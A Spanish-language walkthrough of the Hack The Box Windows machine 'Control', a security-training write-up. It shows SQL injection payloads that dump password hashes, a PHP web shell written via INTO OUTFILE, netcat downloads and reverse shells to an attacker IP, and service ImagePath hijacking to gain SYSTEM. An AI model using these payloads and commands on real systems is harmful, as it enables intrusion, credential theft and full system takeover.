En este post voy a vulnerar la máquina Control de Hack the Box. Es una máquina Windows, de nivel difícil donde se trabajan diferentes conceptos como cabeceras web, inyección SQL, definir objetos con credenciales y envenenamiento de procesos.
Enumeración
Comienzo escaneado los 5000 puertos mas comunes, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- --open -n --min-rate 5000 10.10.10.167

En la máquina hay cinco puerto abierto. Escaneo los tres primeros puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p80,135,3306 -sC -sV 10.10.10.167 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-14 12:58 CET Nmap scan report for 10.10.10.167 Host is up (0.11s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Fidelity 135/tcp open msrpc Microsoft Windows RPC 3306/tcp open mysql? | fingerprint-strings: | NULL: |_ Host '10.10.14.10' is not allowed to connect to this MariaDB server 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3306-TCP:V=7.91%I=7%D=1/14%Time=61E16571%P=x86_64-pc-linux-gnu%r(NU SF:LL,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.10'\x20is\x20not\x20allow SF:ed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server"); Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.66 seconds
Leo las cabeceras de la web con whatweb y veo que se trata de un servidor IIS 10.0 con PHP 7.3.7.
whatweb -a 3 http://10.10.10.167:80/

Accedo a la web desde el navegador y veo que, en el menú de navegación, hay una pestaña llamada Admin. Accedo a ella pero me indica que tengo necesito anclarme a un proxy para acceder.


Hago fuzzing de directorios ocultos con gobuster y encuentro varios que pueden ser interesantes pero en todos me muestra un error 403.
gobuster dir -u http://10.10.10.167:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e


Reviso el código fuente de la web principal y encuentro un mensaje sobre un nuevo sistema de pago y una dirección IP.

Si le doy un par de vueltas, ya que el directorio /myfiles no existe en la web, supongo que 192.168.4.28 es la IP del cliente a la que se le permite acceder a admin.php.
Busco por internet información sobre cabeceras HTTP Proxy y encuentro que con la cabecera X-Forwarded-For puedo cambiar la IP de origen de mi petición HTTP. Mas información aquí.
Lanzo una petición con curl añadiendo esta cabecera y obtengo un código de estado 200 en la petición GET, por lo que puedo acceder a la web de esta forma.
curl -i -v http://10.10.10.167:80/admin.php -H 'X-Forwarded-For: 192.168.4.28'

Para facilitar la exploración, desvío el tráfico a través de Burp Suite y, en las opciones del proxy, añado la cabecera que necesito para acceder a la web.




Y ahora ya puedo acceder a la web desde el navegador.

Lo primero que veo al acceder es una barra de búsqueda que carga productos almacenados en la web así que lo primero que me viene a la mente es un ataque de SQL Inyection. Pruebo la «sentencia mágica» de SQL Inyection y consigo ver toda la información guardada.
'or '1'='1


Continuo buscando el payload que produce el error. Comienzo probando ' (comilla simple) y ya consigo que muestre el error que me permite hacer las consultas SQL.


El siguiente paso es determinar el número de columnas. Para esto utilizo el comando ORDER BY y voy probando hasta que deje de aparecerme el error. Me llevo la ventana al Repeater de Burp para trabajar mas fácilmente.
' ORDER BY 10 -- -
' ORDER BY 7 -- -
' ORDER BY 6 -- -
' UNION SELECT 1,2,3,4,5,6 -- -



Como veo en las imágenes anteriores, el error deja de aparecerme en 6 columnas y para confirmarlo, en la última imagen, las enumero todas.
Enumero información básica como el nombre y la versión del gestor de base de datos, el nombre de la base de datos, del usuario y las tablas de la base de datos lanzado algunas querys de SQL.
' UNION SELECT 1,2,3,@@VERSION,5,6 -- -
' UNION SELECT 1,2,3,DATABASE(),5,6 -- -
' UNION SELECT 1,2,3,USER(),5,6 -- -
' UNION ALL SELECT 1,2,3,group_concat(table_name),5,6 FROM information_schema.tables WHERE table_schema="warehouse"-- -




Toda esta información no me aporta nada así que doy un «paso atrás» y enumero todas las bases de datos. Además de la típica information_schema y warehouse (que ya he enumerado) hay otra BBDD llamada mysql.
' UNION ALL SELECT 1,2,3,group_concat(schema_name),5,6 FROM information_schema.schemata-- -

Enumero las tablas para la base de datos mysql y encuentro una llamada user.
' UNION ALL SELECT 1,2,3,group_concat(table_name),5,6 FROM information_schema.tables WHERE table_schema="mysql"-- -

Enumero las columnas de la tabla user y encuentro tres columnas que pueden servirme. Son Host, User y Password.
' UNION ALL SELECT 1,2,3,group_concat(column_name),5,6 FROM information_schema.columns WHERE table_schema="mysql" and table_name="user"-- -

Enumero la información de las tres columnas.
' UNION ALL SELECT 1,host,user,password,5,6 FROM mysql.user-- -


Como veo en las imagenes anteriores, he obtenido 3 usuarios para el localhost y sus hashes de contraseña.
root:0A4A5CAD344718DC418035A1F4D292BA603134D8
manager:CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA:l3tm3!n
hector:0E178792E8FC304A2E3133D535D38CAF1DA3CD9D:l33th4x0rhector

Llevo los hashes a crackstation .

Como se ve en la imagen anterior, he conseguido romper los hashes de los usuarios manager y hector, obteniendo las credenciales manager:l3tm3!n y hector:l33th4x0rhector.
Explotación
Vuelvo al punto en el que he enumerado las columnas de la tabla e intento que ese contenido se guarde en un fichero nuevo utilizando la instrucción into outfile. En el fuzzing de directorios ya he averiguado que hay uno llamado /uploads así que voy a intentar guardar el contenido de la inyección en un fichero .txt nuevo.
Al lanzar la instrucción, la respuesta me devuelve un mensaje de error pero si accedo a la ruta donde se subiría el fichero desde el navegador, veo que se ha creado.
' UNION SELECT 1,2,3,4,5,6 into outfile 'c:\\inetpub\\wwwroot\\uploads\\evil.txt'-- -


Veo que puedo crear ficheros y almacenarlos en el disco de la web. Hago una nueva inyección pero esta vez voy a crear un backdoor en un fichero php que me permita una execución remota de comandos (RCE).
' UNION ALL SELECT '<?php system($_GET[\'cmd\']); ?>',2,3,4,5,6 into outfile 'C:\\inetpub\\wwwroot\\uploads\\evil.php'

Si accedo al fichero desde el navegador no veo nada pero si inyecto un comando, obtengo respuesta por parte del sistema.


Como ya puedo ejecutar comandos en el sistema, el siguiente paso es conseguir una shell reversa.
En primer lugar tengo que subir a la máquina víctima un binario de netcat; utilizaré el que viene por defecto en kali y que se almacena en la ruta /usr/share/windows-resources/binaries/nc.exe y lo subiré levantando un servidor en python en mi sistema (en el log del servidor puedo ver que se ha subido correctamente).
cp /usr/share/windows-resources/binaries/nc.exe . python -m SimpleHTTPServer curl '10.10.10.167/uploads/evil.php?cmd=powershell+wget+http://10.10.14.10:8000/nc.exe+-outfile+\windows\temp\nc.exe'


Pongo un netcat a la escucha por el puerto 443 y ejecuto el netcat desde la máquina victima para obtener una shell reversa.
curl '10.10.10.167/uploads/evil.php?cmd=\windows\temp\nc.exe+-e+cmd+10.10.14.10+443'


Me dirijo al directorio C:\Users pero no me permite entrar en la carpeta /Hector.

Enumero la información del usuario Hector y veo que se encuentra dentro del grupo de Administración Remota.
net user Hector

Recuerdo que he obtenido una contraseña para el usuario hector por medio de una inyección SQL y que puedo utilizarla para elevar privilegios y conseguir una consola como usuario hector. Para ello voy a imitar el método que utilicé en la máquina Bart, aunque con algunos cambios.
Al tratar de conseguir una shell reversa con nishang veo que la máquina tiene el antivirus habilitado así que voy a «ascender» mi consola actual. En primer lugar, tengo que cambiar a una consola en powershell, esto es tan sencillo como ejecutar el siguiente comando en mi consola cmd.
powershell.exe
Ahora que tengo una consola en powershell, ejecuto los siguientes comandos.
hostname
$user = 'fidelity\hector'
$pass = 'l33th4x0rhector'
$secpass = ConvertTo-SecureString $pass -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential $user,$secpass
Invoke-Command -Computer localhost -Credential $cred -ScriptBlock {whoami}
whoami

Los comandos aparecen duplicados en la imagen por que la shell la he obtenido utilizando rlwrap a través de netcat pero realmente solo se introducen una vez.
Como se ve en la imagen anterior, puedo ejecutar comandos como control\hector pero sigo siendo el usuario nt authority\iusr. Para conseguir una shell reversa como el usuario hector puedo lanzar un netcat como hector a mi máquina a través de una ruta del sistema afectada por Applocker Bypass.
Encuentra este repositorio de github con rutas que me pueden servir y elijo la típica ruta C:\Windows\Temp\nc.exe C:\windows\system32\spool\drivers\color.
Copio el netcat de la máquina víctima a la ruta que he elegido.
cp C:\Windows\Temp\nc.exe C:\windows\system32\spool\drivers\color\nc.exe
Pongo un netcat a la escucha por el puerto 443 en mi máquina atacante, y ejecuto el siguiente comando (nuevamente aparece duplicado en la imagen) para obtener una shell reversa como el usuario hector.
Invoke-Command -Computer localhost -Credential $cred -ScriptBlock {c:\windows\system32\spool\drivers\color\nc.exe 10.10.14.10 443 -e powershell.exe}


La flag de usuario la encuentro en la ruta C:\Users\Hector\desktop\user.txt.

Escalada de Privilegios
Para enumerar fácilmente el sistema, voy a lanzar un binario de winPEAS. Primero me dirijo al directorio de Downloads del usuario hector (esto no es necesario pero me gusta hacerlo así) y subo el binario a la máquina víctima.
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.10:8000/winpeas.exe','winpeas.exe')"

Y ejecuto winPEAS.
./winpeas.exe

Cuando llego a la sección de los permisos de los servicios veo que el usuario hector tiene FullControl sobre el HKLM\system\currentcontrolset\services\seclogon, que es un servicio que se ejecuta como administrador.


Realmente no se como ver el estado de los servicios desde Powershell así que repito el proceso anterior y obtengo una shell reversa de CMD como hector.
Comienzo viendo el estado del servicio y mirando la ruta desde la que se ejecuta.
sc query seclogon sc qc seclogon

Como el servicio está parado, el vector de ataque que voy a seguir consiste en cambiar la ruta de ejecución del servicio y lanzar un netcat a mi máquina atacante desde la ruta del Applocket Bypass.
Ejecuto los siguientes comandos para cambiar la ruta y comprobar si se ha hecho el cambio y veo que efectivamente se ha hecho.
reg add "HKLM\system\currentcontrolset\services\seclogon" /t REG_EXPAND_SZ /v ImagePath /d "C:\windows\system32\spool\drivers\color\nc.exe 10.10.14.10 443 -e cmd.exe" /f reg query HKLM\system\currentcontrolset\services\seclogon

Ahora pongo un netcat a la escucha por el puerto 443 y, desde la máquina víctima, inicio el servicio seclogon.
sc start seclogon

La flag de root la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

